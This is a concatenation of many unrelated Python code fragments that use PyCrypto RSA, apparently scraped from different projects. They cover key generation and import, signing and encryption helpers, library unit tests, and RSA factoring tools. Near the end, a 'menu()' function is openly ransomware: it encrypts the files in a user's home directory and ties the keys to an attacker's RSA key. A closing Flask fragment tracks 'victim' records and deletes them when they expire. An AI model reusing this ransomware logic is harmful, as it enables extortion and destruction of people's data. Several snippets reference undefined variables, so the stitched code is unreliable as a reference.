def sign(modulus, exponent, private_exp, message): if RSA: rsa = RSA((modulus, exponent, private_exp)) result = rsa._sign(message) return result[0] else: return ''
def add_pubkey(self): """Add a public key to the server.""" rsakey = RSA.importKey(self.privkey, self.password) shibboleth = 'Rosie sent me' signature = rsakey.sign(shibboleth, rng(384))[0] data = {'username': self.username, 'shibboleth': shibboleth, 'signature': str(signature), 'pubkey': self.pubkey} url = 'http://' + self.host + '/pubkey/add' r = requests.post(url, data=data) if r.status_code != 200: r.raise_for_status() if not r.cookies['signature']: raise SecurityException('Server did not return cookie') servkey = self.get_pubkey('server') rsakey = RSA.importKey(servkey) servsig = int(r.cookies['signature']) if not rsakey.verify(self.username, (servsig,)): raise SecurityException('Could not verify server signature') return r.cookies
def __init__(self, source_dir, key_file, output_file): """ source_dir : the path to package resource directory. key_file : the path to RSA private key file, if the file is invalid, generator will create it automatically. output_file : the output XPK file path. """ self.source_dir_ = source_dir self.output_file_ = output_file if not os.path.exists(key_file): try: print('Start to generate RSA key') rng = Random.new().read self.RSAkey = RSA.generate(1024, rng) kfile = open(key_file, 'w') kfile.write(self.RSAkey.exportKey('PEM')) kfile.close() print('Finished generating RSA key, saved as %s' % key_file) except IOError: if os.path.exists(key_file): os.remove(key_file) traceback.print_exc() else: self.RSAkey = RSA.importKey(open(key_file, 'r').read()) self.pubkey = self.RSAkey.publickey().exportKey('DER')
def __init__(self, private_key, certificate): """ Initializes Suds MessagePlugin. @type private_key: string @param private_key: RSA - private key filename. @type certificate: string @param certificate: X509 certificate filename. """ self.log = logging.getLogger('bankws') if os.path.isfile(private_key): with open(private_key, 'rb') as f: content = f.read() try: RSAKey.importKey(content) except ValueError: raise ValueError('Unsupported RSA key format') self.keyfile = private_key else: raise IOError("{0} doesn't exists".format(private_key)) if os.path.isfile(certificate): self.certificate = certificate else: raise IOError("{0} doesn't exists".format(certificate)) self.keytype = RSA
def share_directory(other_username, dlog): with open(dlog, 'rb') as input: log = pickle.load(input) userList = log['users'] userList.append(other_username) owner_block = log[owner] owner = log['owner'] key = RSA.importKey(open(owner + '.pri').read()) cipher = PKCS1_OAEP.new(key, SHA256.new()) owner_block.decrypt_permission_block(cipher) file_aes_key = owner_block.get_file_encryption_key() file_dsa_key = None user_block = AccessBlock(file_aes_key, file_dsa_key) other_key = RSA.importKey(open(other_username + '.pub').read()) other_cipher = PKCS1_OAEP.new(other_key, SHA256.new()) user_block.encrypt_permission_block(other_cipher) log[other_username] = user_block file_log_hash = SHA256.new() with open(filelog, 'wb') as infile: pickle.dump(log, infile, -1) length = len(log) with open(filelog, 'rb') as outfile: picklelog = outfile.read(length) file_log_hash.update(picklelog) with open(owner + '.dsa', 'rb') as infile: owner_msk = pickle.load(infile) k = random.StrongRandom().randint(1,owner_msk.q-1) sig = owner_msk.sign(file_log_hash.digest(), k) with open(filelog, 'a+b') as outfile: pickle.dump(sig, outfile, -1)
def test_sshkeys(self): assert isinstance(self.git.getsshkeys(), list) self.assertEquals(len(self.git.getsshkeys()), 0) # not working due a bug? in pycrypto: https://github.com/dlitz/pycrypto/issues/99 if ssh_test: name = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) rsa_key = RSA.generate(1024) self.assertTrue(self.git.addsshkey(title=name, key=str(rsa_key.publickey().exportKey(format="OpenSSH")))) self.assertGreater(self.git.getsshkeys(), 0) keys = self.git.getsshkeys() assert isinstance(keys, list) key = self.git.getsshkeys()[0] assert isinstance(key, dict) self.assertTrue(self.git.deletesshkey(key["id"])) name = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) rsa_key = RSA.generate(1024) self.assertTrue(self.git.addsshkeyuser(self.user_id, title=name, key=str(rsa_key.publickey().exportKey(format="OpenSSH")))) self.assertGreater(self.git.getsshkeys(), 0) keys = self.git.getsshkeys() assert isinstance(keys, list) key = self.git.getsshkeys()[0] assert isinstance(key, dict) self.assertTrue(self.git.deletesshkey(key["id"]))
def generate_key_pair(): # client = lib.transport.client() if(os.path.exists(lib.constants.m_private_key_file)): print("key file already present : {0}".format(lib.constants.m_private_key_file)) f = open(lib.constants.m_private_key_file, "r") key = RSA.importKey(f.read()) public_key = key.publickey().exportKey("PEM") lib.debug.debug(public_key) else: if(not os.path.exists(lib.constants.masterdir)): try: os.makedirs(lib.constants.masterdir) except: print (sys.exc_info()) random_generator = Random.new().read key = RSA.generate(2048, random_generator) private_key_file = open(lib.constants.m_private_key_file, "w") private_key_file.write(key.exportKey("PEM")) private_key_file.flush() private_key_file.close() public_key = key.publickey().exportKey("PEM") lib.debug.debug(public_key) # client.send(message_type_args={lib.constants.msg_keys.tasktype:lib.constants.tasktypes.key_register, # lib.constants.msg_keys.payload :public_key, # # }) print ("done writing private key")
def handle_create(self): """Create a Rackspace Cloud Servers container. Rackspace Cloud Servers does not have the metadata service running, so we have to transfer the user-data file to the server and then trigger cloud-init. """ # Generate SSH public/private keypair if self._private_key is not None: rsa = RSA.importKey(self._private_key) else: rsa = RSA.generate(1024) self.private_key = rsa.exportKey() public_keys = [rsa.publickey().exportKey("OpenSSH")] if self.properties.get("key_name"): key_name = self.properties["key_name"] public_keys.append(nova_utils.get_keypair(self.nova(), key_name).public_key) personality_files = {"/root/.ssh/authorized_keys": "\n".join(public_keys)} # Create server client = self.nova().servers logger.debug("Calling nova().servers.create()") server = client.create(self.physical_resource_name(), self.image, self.flavor, files=personality_files) # Save resource ID to db self.resource_id_set(server.id) return server, scheduler.TaskRunner(self._attach_volumes_task())
def test_sign(self): data = "Hello World!" for algorithm, hash_method in ( ("rsa-sha1", hashlib.sha1,), ("rsa-sha256", hashlib.sha256,), ): stream = MemoryStream(data) headers = Headers() headers.addRawHeader("Originator", "mailto:[email protected]") headers.addRawHeader("Recipient", "mailto:[email protected]") headers.setHeader("Content-Type", MimeType("text", "calendar", **{"component": "VEVENT", "charset": "utf-8"})) request = DKIMRequest("POST", "/", headers, stream, "example.com", "dkim", self.private_keyfile, algorithm, ("Originator", "Recipient", "Content-Type",), True, True, True, 3600) result = (yield request.sign()) # Manually create what should be the correct thing to sign and make sure signatures match bodyhash = base64.b64encode(hash_method(DKIMUtils.canonicalizeBody(data)).digest()) sign_this = """originator:mailto:[email protected] recipient:mailto:[email protected] content-type:%s ischedule-version:1.0 ischedule-message-id:%s dkim-signature:v=1; d=example.com; s=dkim; t=%s; x=%s; a=%s; q=private-exchange:http/well-known:dns/txt; c=ischedule-relaxed/simple; h=Originator:Recipient:Content-Type:iSchedule-Version:iSchedule-Message-ID; bh=%s; b=""".replace("\n", "\r\n") % (headers.getRawHeaders("Content-Type")[0], request.message_id, request.time, request.expire, algorithm, bodyhash) key = RSA.importKey(open(self.private_keyfile).read()) signature = DKIMUtils.sign(sign_this, key, DKIMUtils.hash_func(algorithm)) self.assertEqual(result, signature) # Make sure header is updated in the request updated_header = "v=1; d=example.com; s=dkim; t=%s; x=%s; a=%s; q=private-exchange:http/well-known:dns/txt; c=ischedule-relaxed/simple; h=Originator:Recipient:Content-Type:iSchedule-Version:iSchedule-Message-ID; bh=%s; b=%s" % (request.time, request.expire, algorithm, bodyhash, signature,) self.assertEqual(request.headers.getRawHeaders("DKIM-Signature")[0], updated_header) # Try to verify result using public key pubkey = RSA.importKey(open(self.public_keyfile).read()) self.assertEqual(DKIMUtils.verify(sign_this, result, pubkey, DKIMUtils.hash_func(algorithm)), None)
def __init__(self, username, ms_url, user_pkey_pem, syndicate_public_key_pem, debug=False): self.config = {} self.method_singletons = {} try: self.config["syndicate_public_key"] = CryptoKey.importKey(syndicate_public_key) except: raise Exception("Invalid Syndicate public key") # sanity check... try: self.config["user_pkey"] = CryptoKey.importKey(user_pkey_pem) assert self.config["user_pkey"].has_private(), "Not a private key" except: raise Exception("Invalid user private key") try: host, port, no_tls = parse_url(ms_url) except: raise Exception("Invalid URL '%s'" % ms_url) # populate our config self.config["syndicate_host"] = host self.config["syndicate_port"] = port self.config["no_tls"] = no_tls self.config["username"] = username self.config["debug"] = debug self.config["password"] = password Log.set_log_level("DEBUG" if debug else "INFO")
def fermat_factor_attack(ciphertexts): options = dict(feathermodules.current_options) options = prepare_options(options, ciphertexts) if options == False: print '[*] Could not process options.' return False answers = [] for ciphertext in ciphertexts: try: key = RSA.importKey(ciphertext) if key.has_private(): continue else: modulus = key.n exponent = key.e except: continue factors = ca.fermat_factor(modulus, minutes=options['minutes_to_wait'], verbose=True) if factors[0] != 1: answers.append( (modulus, exponent, ca.derive_d_from_pqe(factors[0],factors[1],exponent)) ) for answer in answers: key = RSA.construct(answer) print "Found private key:\n%s" % key.exportKey() return ''
def get_private_key(self): if self._environment == "PRODUCTION": return RSA.importKey(open(testconstants.TestConstants.PRODUCTION_PRIVATE_KEY_PATH, 'r').read(), testconstants.TestConstants.PRODUCTION_PRIVATE_KEY_PASSWORD) else: return RSA.importKey(open(testconstants.TestConstants.SANDBOX_PRIVATE_KEY_PATH, 'r').read(), testconstants.TestConstants.SANDBOX_PRIVATE_KEY_PASSWORD)
def keyFromString(key): """Creates a key object from a string representation""" if isinstance(key, str): return RSA.importKey(key) elif isinstance(key, bytes): return RSA.importKey(key.decode()) return key
def aes_query_keys(request): data = request.POST try: fo_id = data['fo'] try: aes_user = AESUser.objects.get(box_id=fo_id) except Exception as e: private = RSA.generate(1024) public = private.publickey() aes_user = AESUser(box_id=fo_id, public_rsa=public.exportKey(), secret_rsa=private.exportKey()) aes_user.save() receip_ids = data['recipient'].split(" ") i=0 ret_data = {'n_shared': len(receip_ids)} for id in receip_ids: try: aes_user = AESUser.objects.get(box_id=id) except Exception as e: private = RSA.generate(1024) public = private.publickey() aes_user = AESUser(box_id=id, public_rsa=public.exportKey(), secret_rsa=private.exportKey()) aes_user.save() ret_data[str(i)+"_rsa"] = aes_user.public_rsa i+=1 except Exception as e: print "Errors " + str(e) ret_data={ 'success': False, 'error': str(e) } rdata = json.dumps(ret_data) return HttpResponse(rdata, content_type='application/json')
def __init__(self, n=0, e=0, d=0, p=0, q=0, dP=0, dQ=0, qInv=0): if not d: self.rsa = RSA.construct((compatLong(n), compatLong(e))) else: self.rsa = RSA.construct((compatLong(n), compatLong(e), compatLong(d), compatLong(p), compatLong(q)))
def main(argv): encrypt = argv[0] keyfile = argv[1] service = argv[2] username = argv[3] if isinstance(encrypt, str): if encrypt.lower().startswith('t'): encrypt = True else: encrypt = False if encrypt: password = argv[4] key = RSA.generate(1024) cipher = PKCS1_v1_5.new(key) keyring.set_password(service, username, key.exportKey()) with open(keyfile, 'wb') as outf: outf.write(cipher.encrypt(password)) else: key = RSA.importKey(keyring.get_password(service, username)) cipher = PKCS1_v1_5.new(key) with open(keyfile, 'rb') as inf: return cipher.decrypt(inf.read(), None)
def sign_file(f): # TODO: For Part 2, you'll use public key crypto here # The existing scheme just ensures the updates start with the line 'Caesar' # This is naive -- replace it with something better! # Generate key pairs key = RSA.generate(2048) # Export public key to file export_pukey = key.publickey().exportKey('PEM') publickey_file = open(os.path.join("pastebot.net", "publickey"), "wb") publickey_file.write(export_pukey) publickey_file.close() # Create RSA object from public key publickey_file = open(os.path.join("pastebot.net", "publickey"), "rb").read() public_key = RSA.importKey(publickey_file) # Hash message hashed_m = SHA256.new(f) # Encrypt message using public key cipher = PKCS1_cipher.new(public_key) ciphertext = cipher.encrypt(f+hashed_m.digest()) # Export private key to be prefixed to ciphertext export_prkey = key.exportKey('PEM') # Sign message using private key prkey = RSA.importKey(export_prkey) signer = PKCS1_v1_5.new(prkey) signature = signer.sign(hashed_m) # Return private key and ciphertext, as well as signature separately return export_prkey + b"\n" + ciphertext, signature
def encrypt(v, encrypt_rsapubkey=None, sign_rsaprivkey=None): from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_OAEP from Crypto.Cipher import AES from Crypto.Signature import PKCS1_PSS from Crypto.Hash import SHA512 out = {} if encrypt_rsapubkey: encrypt_rsapubkey = RSA.importKey(encrypt_rsapubkey) rsa = PKCS1_OAEP.new(encrypt_rsapubkey) aeskey = randomString(32) iv = randomString(16) aes = AES.new(aeskey, AES.MODE_CBC, iv) data = varEncode(v).tostring() data += "\x00" * (-len(data) % 16) out["aesInfo"] = rsa.encrypt(aeskey + iv) out["data"] = aes.encrypt(data) out["encrypted"] = True else: out["data"] = varEncode(v).tostring() out["encrypted"] = False if sign_rsaprivkey: sign_rsaprivkey = RSA.importKey(sign_rsaprivkey) pss = PKCS1_PSS.new(sign_rsaprivkey) h = SHA512.new() h.update(out["data"]) sign = pss.sign(h) out["signature"] = sign else: out["signature"] = None return out
def __init__(self, data_dir=None, addr=_DEFAULT_ADDR): if not data_dir: data_dir = ".bitnet" data_path = "%s/%s" % (os.path.expanduser("~"), data_dir) try: os.makedirs(data_path) except OSError: pass id_key_path = "%s/id.pem" % data_path msg_key_path = "%s/msg.pem" % data_path self._client_data_path = "%s/client_data.json" % data_path # ID key try: id_key_data = open(id_key_path, "r").read() self.id_key = ecdsa.SigningKey.from_pem(id_key_data) except IOError: bits = cryptorandom.getrandbits(256) k = binascii.unhexlify(hex(bits)[2:].rstrip("L")) secret = ecdsa.util.string_to_number(k) self.id_key = ecdsa.SigningKey.from_secret_exponent( secret, curve=ecdsa.curves.SECP256k1) open(id_key_path, "w").write(self.id_key.to_pem()) # Messaging key try: msg_key_data = open(msg_key_path, "r").read() self.msg_key = RSA.importKey(msg_key_data) except IOError: # TODO(ortutay): use 4096 bits instead? self.msg_key = RSA.generate(2048, Random.new().read) msg_enc = self.msg_key.exportKey('PEM') open(msg_key_path, "w").write(msg_enc) self._listeners = {} self._next_listener_id = 1 self._seen_messages = set([]) try: self._data = json.loads(open(self._client_data_path, "r").read()) except: self._data = {} self.url = "http://%s/bitnetRPC" % addr ClaimTokens(self.url, "", self.PubKeyStr(), "", "claimfree") # Store messaging key on server, if not already there. # TODO(ortutay): If expiration behavior is implemented in the future, # this code will need to be updated. msgs = self.Get({ "from-pubkey": self.PubKeyStr(), "type": "bitnet.RSAPubKey", }) if not msgs: self.Send(None, { "from-pubkey": self.PubKeyStr(), "type": "bitnet.RSAPubKey", "body": self.MsgPubKeyStr(), })
def ensure_user_exists( client, user_email, private_key, **user_kw ): """ Given a user email, ensure that the corresponding Syndicate user exists with the given fields. This method is idempotent. This method can only be called by an admin user. @private_key must be a PEM-encoded 4096-bit RSA private key Return the (created, updated, user), where created==True if the user was created and created==False if the user was read. Raise an exception on error. """ created = False updated = False private_key = private_key.strip() try: private_key = CryptoKey.importKey( private_key ).exportKey() public_key = CryptoKey.importKey( private_key ).publickey().exportKey() except: log.error("Could not import private key") raise Exception("Could not import private key") try: user = rpc.ms_rpc( client, "read_user", user_email ) except Exception, e: # transport error log.exception(e) raise Exception("Failed to read '%s'" % user_email )
def read_key(path, passphrase=None): with open(path, "r") as kd: if passphrase is not None: key = RSA.importKey(kd, passphrase=passphrase) else: key = RSA.importKey(kd) return key
def __init__(self, from_file=None, passphrase=None): if from_file == None: # generate a new pair rng = Random.new().read key = RSA.generate(4096 * 2, rng) self.public_key = IdentityPublicKey(key) self.private_key = IdentityPrivateKey(key) else: # read from file: f = open(from_file, "rb") contents = f.read(4096 * 1024) # no more than 4mb f.close() key = RSA.importKey(contents.decode("utf-8", "ignore"), passphrase=passphrase) self.public_key = IdentityPublicKey(key) if key.has_private(): self.private_key = IdentityPrivateKey(key) else: self.private_key = None # ensure the minimum required RSA key size is met: if self.public_key.size() < ENCRYPT_BIT_MINIMUM or (\ self.private_key != None and \ self.private_key.size() < ENCRYPT_BIT_MINIMUM): self.private_key = None self.public_key = None raise ValueError("this RSA key doesn't meet the required " +\ "minimum bit size for proper encryption") if self.private_key != None: self.cipher = PKCS1_OAEP.new(self.private_key.key, hashAlgo=SHA256) else: self.cipher = PKCS1_OAEP.new(self.public_key.key, hashAlgo=SHA256)
def _real_auth(self): url = 'http://' + self.host + '/authenticate' rsakey = RSA.importKey(self.privkey, self.password) shibboleth = 'Mom sent me' signature = rsakey.sign(shibboleth, rng(384))[0] data = {'username': self.username, 'shibboleth': shibboleth, 'signature': str(signature)} r = requests.post(url, data=data) if r.status_code != 200: r.raise_for_status() if not r.cookies['signature']: raise SecurityException('Server did not return cookie.') servkey = self.get_pubkey('server') rsakey = RSA.importKey(servkey) servsig = int(r.cookies['signature']) if not rsakey.verify(self.username, (servsig,)): raise SecurityException('Could not verify server signature') return r.cookies
def test_encode_decode_with_rsa_sha512(self): try: from Crypto.PublicKey import RSA # PEM-formatted RSA key with open('tests/testkey_rsa', 'r') as rsa_priv_file: priv_rsakey = RSA.importKey(rsa_priv_file.read()) jwt_message = jwt.encode(self.payload, priv_rsakey, algorithm='RS512') with open('tests/testkey_rsa.pub', 'r') as rsa_pub_file: pub_rsakey = RSA.importKey(rsa_pub_file.read()) assert jwt.decode(jwt_message, pub_rsakey) load_output = jwt.load(jwt_message) jwt.verify_signature(key=pub_rsakey, *load_output) # string-formatted key with open('tests/testkey_rsa', 'r') as rsa_priv_file: priv_rsakey = rsa_priv_file.read() jwt_message = jwt.encode(self.payload, priv_rsakey, algorithm='RS512') with open('tests/testkey_rsa.pub', 'r') as rsa_pub_file: pub_rsakey = rsa_pub_file.read() assert jwt.decode(jwt_message, pub_rsakey) load_output = jwt.load(jwt_message) jwt.verify_signature(key=pub_rsakey, *load_output) except ImportError: pass
def get_keypair(client_id): hash = SHA256.new(client_id).hexdigest() name = data_path + '/' + hash aes_key = SHA256.new(master_key+client_id).digest() aes = AES.new(aes_key, AES.MODE_CTR, counter=Counter.new(128)) try: f = open(name) d1 = json.load(f) f.close() d2 = json.loads(aes.decrypt(b64decode(d1['data'].encode())).decode()) rsa_key = RSA.construct((d2['n'], d2['e'], d2['d'], d2['p'], d2['q'], d2['u'])) except: rsa_key = RSA.generate(1024) t = int(time()) d2 = dict(id=hash, client_id=client_id, n=rsa_key.n, e=rsa_key.e, d=rsa_key.d, p=rsa_key.p, q=rsa_key.q, u=rsa_key.u, generated_at=t) d1 = dict(id=hash, data=b64encode(aes.encrypt(json.dumps(d2))).decode(), generated_at=t) f = open(name, 'w') json.dump(d1, f, sort_keys=True, indent=2) f.close() return rsa_key
def __init__(self, dir=None, key='', passphrase=None, cipher=utils.AESCipher): super(LocalRsaProvider, self).__init__(cipher=cipher) self.dir = dir or os.path.join(os.path.expanduser('~'), _LOCAL_RSA_TMP_DIR) utils.makedir_p(self.dir) priv_key_full_path = os.path.join(self.dir, key + self.PRIV_KEY_FILE) pub_key_full_path = os.path.join(self.dir, key + self.PUB_KEY_FILE) try: if os.path.exists(priv_key_full_path) and os.path.exists(pub_key_full_path): with open(priv_key_full_path, 'rb') as f: self.__decrypt_obj = PKCS1_OAEP.new(RSA.importKey(f.read(), passphrase=passphrase)) with open(pub_key_full_path, 'rb') as f: self.__encrypt_obj = PKCS1_OAEP.new(RSA.importKey(f.read(), passphrase=passphrase)) else: private_key = RSA.generate(2048) public_key = private_key.publickey() self.__encrypt_obj = PKCS1_OAEP.new(public_key) self.__decrypt_obj = PKCS1_OAEP.new(private_key) with open(priv_key_full_path, 'wb') as f: f.write(private_key.exportKey(passphrase=passphrase)) with open(pub_key_full_path, 'wb') as f: f.write(public_key.exportKey(passphrase=passphrase)) except (ValueError, TypeError, IndexError) as e: raise ClientError(str(e))
def test_handle_create_payload_calls_get_outbound_entity(self, mock_get_outbound_entity): mock_get_outbound_entity.return_value = DiasporaPost() from_user = Mock(private_key=RSA.generate(2048), handle="*****@*****.**") to_user = Mock(key=RSA.generate(2048).publickey()) entity = DiasporaPost() handle_create_payload(from_user, to_user, entity) assert mock_get_outbound_entity.called
def __init__(self, keyDer = None): # TODO: Implementation of managed properties? if keyDer == None: self._keyDer = Blob() self._keyType = None return self._keyDer = keyDer # Get the public key OID. oidString = "" try: parsedNode = DerNode.parse(keyDer.buf(), 0) rootChildren = parsedNode.getChildren() algorithmIdChildren = DerNode.getSequence( rootChildren, 0).getChildren() oidString = algorithmIdChildren[0].toVal() except DerDecodingException as ex: raise UnrecognizedKeyFormatException( "PublicKey.decodeKeyType: Error decoding the public key" + str(ex)) # Verify that the we can decode. if oidString == self.RSA_ENCRYPTION_OID: self._keyType = KeyType.RSA RSA.importKey(keyDer.toRawStr()) elif oidString == self.EC_ENCRYPTION_OID: self._keyType = KeyType.ECDSA # TODO: Check EC decoding. else: raise UnrecognizedKeyFormatException( "PublicKey.decodeKeyType: Unrecognized OID " + oidString)
def createAuthFile(self): if os.path.isfile(self.authFileName): debug('Auth file already exists') raise ret255 with open (self.authFileName,'w') as authFile: # bank public key self.secretKey = RSA.generate(2048) publicKey = self.secretKey.publickey() authFile.write(publicKey.exportKey('PEM')) # keys separator authFile.write('@@@@@') # privateKey for ATM atmPrivateKey = RSA.generate(2048) authFile.write(atmPrivateKey.exportKey('PEM')) self.atmPublicKey = atmPrivateKey.publickey() # keys separator authFile.write('@@@@@') # AES encryption key alphabet = string.printable.replace('@','') self.AESKey = ''.join([rand.choice(alphabet) for byte in range(32)]) authFile.write(self.AESKey) print 'created' sys.stdout.flush()
args.p = args.n // args.q # If we already have all informations if args.p is not None and args.q is not None and args.e is not None: try: priv_key = PrivateKey(args.p, args.q, args.e, args.n) except ValueError: if args.verbose: print( "[!] No invmod for e and t, maybe an error in your args ?") sys.exit(0) if args.private: print(priv_key) if args.createpub: print(RSA.construct((args.n, args.e)).publickey().exportKey()) if args.uncipher is not None: unciphered = priv_key.decrypt(args.uncipher) print("[+] Clear text : %s" % unciphered) quit() # if createpub mode generate public key then quit if args.createpub: if (args.n is None and (args.p is None or args.q is None)) or args.e is None: raise Exception( "Specify both a modulus and exponent on the command line. See --help for info." )
def testExportKey2(self): key = RSA.construct([self.n, self.e]) derKey = key.export_key("DER") self.assertEqual(derKey, self.rsaPublicKeyDER)
def testExportKey15(self): # Verify that that error an condition is detected when trying to # use a password with DER encoding and PKCS#1. key = RSA.construct( [self.n, self.e, self.d, self.p, self.q, self.pInv]) self.assertRaises(ValueError, key.export_key, 'DER', 'test', 1)
def test_import_key(self): """Verify that import_key is an alias to importKey""" key = RSA.import_key(self.rsaPublicKeyDER) self.failIf(key.has_private()) self.assertEqual(key.n, self.n) self.assertEqual(key.e, self.e)
def testExportKey9(self): key = RSA.construct( [self.n, self.e, self.d, self.p, self.q, self.pInv]) self.assertRaises(ValueError, key.export_key, "invalid-format")
def testExportKey8(self): key = RSA.construct( [self.n, self.e, self.d, self.p, self.q, self.pInv]) pemKey = key.export_key("PEM", pkcs=8) self.assertEqual(pemKey, b(self.rsaKeyPEM8))
def testExportKey7(self): key = RSA.construct( [self.n, self.e, self.d, self.p, self.q, self.pInv]) derKey = key.export_key("DER", pkcs=8) self.assertEqual(derKey, self.rsaKeyDER8)
def testExportKey5(self): key = RSA.construct([self.n, self.e]) openssh_1 = key.export_key("OpenSSH").split() openssh_2 = self.rsaPublicKeyOpenSSH.split() self.assertEqual(openssh_1[0], openssh_2[0]) self.assertEqual(openssh_1[1], openssh_2[1])
def testExportKey4(self): key = RSA.construct([self.n, self.e]) pemKey = key.export_key("PEM") self.assertEqual(pemKey, b(self.rsaPublicKeyPEM))
def testImportKey7(self): """Verify import of OpenSSH public key""" key = RSA.importKey(self.rsaPublicKeyOpenSSH) self.assertEqual(key.n, self.n) self.assertEqual(key.e, self.e)
def testImportKey11(self): """Verify import of RSAPublicKey DER SEQUENCE""" der = asn1.encode() key = RSA.importKey(der) self.assertEqual(key.n, 17) self.assertEqual(key.e, 3)
def testImportKey4bytes(self): """Verify import of SubjectPublicKeyInfo DER SEQUENCE, encoded with PEM as byte string""" key = RSA.importKey(b(self.rsaPublicKeyPEM)) self.assertEqual(key.has_private(), False) # failIf self.assertEqual(key.n, self.n) self.assertEqual(key.e, self.e)
def testImportKey6(self): """Verifies that the imported key is still a valid RSA pair""" key = RSA.importKey(self.rsaKeyDER) idem = key._encrypt(key._decrypt(65)) self.assertEqual(idem, 65)
def testImportKey2(self): """Verify import of SubjectPublicKeyInfo DER SEQUENCE""" key = RSA.importKey(self.rsaPublicKeyDER) self.failIf(key.has_private()) self.assertEqual(key.n, self.n) self.assertEqual(key.e, self.e)
def testImportKey4unicode(self): """Verify import of RSAPrivateKey DER SEQUENCE, encoded with PEM as unicode""" key = RSA.importKey(self.rsaPublicKeyPEM) self.assertEqual(key.has_private(), False) # failIf self.assertEqual(key.n, self.n) self.assertEqual(key.e, self.e)
def rsa_private_key(bits=2048): """ Export an RSA private key in PEM format. """ key = RSA.generate(bits) return key.export_key().decode()
def rsa_import_key(key): """ Import PEM-formatted RSA key and return the corresponding object. """ return RSA.import_key(key.encode())
from Crypto.Signature import pkcs1_15 from Crypto.Hash import SHA256 from Crypto.PublicKey import RSA #import codecs message = b'This message is from me' key = RSA.import_key(open('private.key').read()) h = SHA256.new(message) ''' once hashing is done, we need to create a sign object through which we can sign a message ''' signer = pkcs1_15.new(key) signature = signer.sign(h) #signature = pkcs1_15.new(key).sign(h) #signature_readable=codecs.getencoder('hex')(signature) print(signature.hex()) file_out = open("signature.pem", "wb") file_out.write(signature) file_out.close() file_out = open("message.txt", "wb") file_out.write(message) file_out.close()
def init_private_key(self): with open(PRIVATE_KEY_FILE_PATH, 'r') as file: private_key = file.read() self.private_key = RSA.importKey(private_key)
sign_dir_path = os.path.join(os.path.dirname(__file__), args.signature_path) priv_key_file_path = os.path.join(sign_dir_path, 'priv_key.pem') cert_file_path = os.path.join(sign_dir_path, 'cert.bin') else: sign_dir_path = os.path.join(os.path.dirname(__file__), '') priv_key_file_path = os.path.join(sign_dir_path, 'testkey_es2.pem') cert_file_path = os.path.join(sign_dir_path, 'certif_es2') if args.key is True: key_file_path = priv_key_file_path if verbose: print "key path is " + key_file_path if (os.path.isfile(key_file_path)): key_file = open(key_file_path, 'r') key = RSA.importKey(key_file.read(), args.password) print "Private RSA key processing..." is_signature = True compatibility_struct = struct.Struct('<2L') compatibility_len_struct = struct.Struct('<L') if args.compatibility_list is not None: print "Compatibility list:" if verbose: print " {}".format(args.compatibility_list) compatibility_list = [ map(auto_int, compatibility_item.split(",")) for compatibility_item in args.compatibility_list.split(";") ] print " Length: {}".format(len(compatibility_list)) for i in range(len(compatibility_list)):
def __init__(self, privkey): self.hash = SHA256.new() self.signature = None self.key = RSA.importKey(privkey) self.signer = PKCS1_PSS.new(self.key)
def to_internal_value(self, encrypted_text): pri_key = RSA.importKey(settings.HELM_RSA_PRIVATE) decrypted_text = pri_key.decrypt(encrypted_text) return decrypted_text
def menu(): # create ransomware directory try: os.mkdir(ransomware_path, 0o700) except OSError: pass # get the files in the home directory # /home/$USER files = get_files.find_files(home) # create RSA object rsa_object = asymmetric.assymetric() rsa_object.generate_keys() # Here is the public key of the attacker. server_public_key_object = RSA.importKey(server_public_key) # Get victim's private key Client_private_key = rsa_object.private_key_PEM # Get victim's public key Client_public_key = rsa_object.public_key_PEM # encryp victim's private key & attacker's public key with attacker's public key. # So, only attacker can read them. # I don't know why server_public_key is included. Maybe, the server side need this info later. encrypted_client_private_key = encrypt_priv_key(Client_private_key, server_public_key) # save encrypted client private key to disk with open(ransomware_path + '/encrypted_client_private_key.key', 'wb') as output: # serialize and write to the file. pickle.dump(encrypted_client_private_key, output, pickle.HIGHEST_PROTOCOL) # save client public key to disk with open(ransomware_path + "/client_public_key.PEM", 'wb') as f: f.write(Client_public_key) # Free the memory from keys Client_private_key = None rsa_object = None del rsa_object del Client_private_key gc.collect() # Get the client public key back as object client_public_key_object = RSA.importKey(Client_public_key) client_public_key_object_cipher = PKCS1_OAEP.new(client_public_key_object) # FILE ENCRYPTION STARTS HERE !!! aes_keys_and_base64_path = start_encryption(files) enc_aes_key_and_base64_path = [] # The aes_keys_and_based_64_path is a list of tuples. # Each tuple is a (key, path) pair. # That is, each compromised file associated with an individual key. for _ in aes_keys_and_base64_path: aes_key = _[0] base64_path = _[1] # encrypt with the client public key. For signature purpose. encrypted_aes_key = client_public_key_object_cipher.encrypt(aes_key) # So, you got lots of key,path pairs signed. enc_aes_key_and_base64_path.append((encrypted_aes_key, base64_path)) # free the old AES keys aes_keys_and_base64_path = None del aes_keys_and_base64_path gc.collect() # save to disk -> ENC(AES) BASE64(PATH) with open(ransomware_path + "/AES_encrypted_keys.txt", 'w') as f: for _ in enc_aes_key_and_base64_path: line = base64.b64encode(_[0]) + " ".encode() + _[1] + "\n".encode() f.write(line.decode()) enc_aes_key_and_base64_path = None del enc_aes_key_and_base64_path gc.collect()
def encrypt_text(self, num, text): rsakey = RSA.importKey(self.public_all[num]) cipher = Cipher_pkcs1_v1_5.new(rsakey) encrypted_text = base64.b64encode(cipher.encrypt(text)) return encrypted_text
def decrypt_text(self,text): rsakey = RSA.importKey(self.private) cipher = Cipher_pkcs1_v1_5.new(rsakey) decrypted_text = cipher.decrypt(base64.b64decode(text), "error") return decrypted_text
def test_exportKey(self): key = RSA.construct( [self.n, self.e, self.d, self.p, self.q, self.pInv]) self.assertEqual(key.export_key(), key.exportKey())
from flask import request, render_template, Response from flask_sqlalchemy import SQLAlchemy from Crypto.Cipher import PKCS1_OAEP from Crypto.PublicKey import RSA from Crypto.Signature import PKCS1_v1_5 from threading import Thread import json #### Definitions #### app = flask.Flask(__name__) app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///test.db' db = SQLAlchemy(app) expiring = [] with open('priv.txt', 'r') as f: private = RSA.importKey(binascii.unhexlify(f.read())) #### Functions #### def check_expiration(): while True: for e in expiring: if round(time.time()) >= e['expiration']: victim.query.filter_by(unique_id=e['unique_id']).delete() db.session.commit() time.sleep(1) def ripemd160(x): d = hashlib.new('ripemd160')
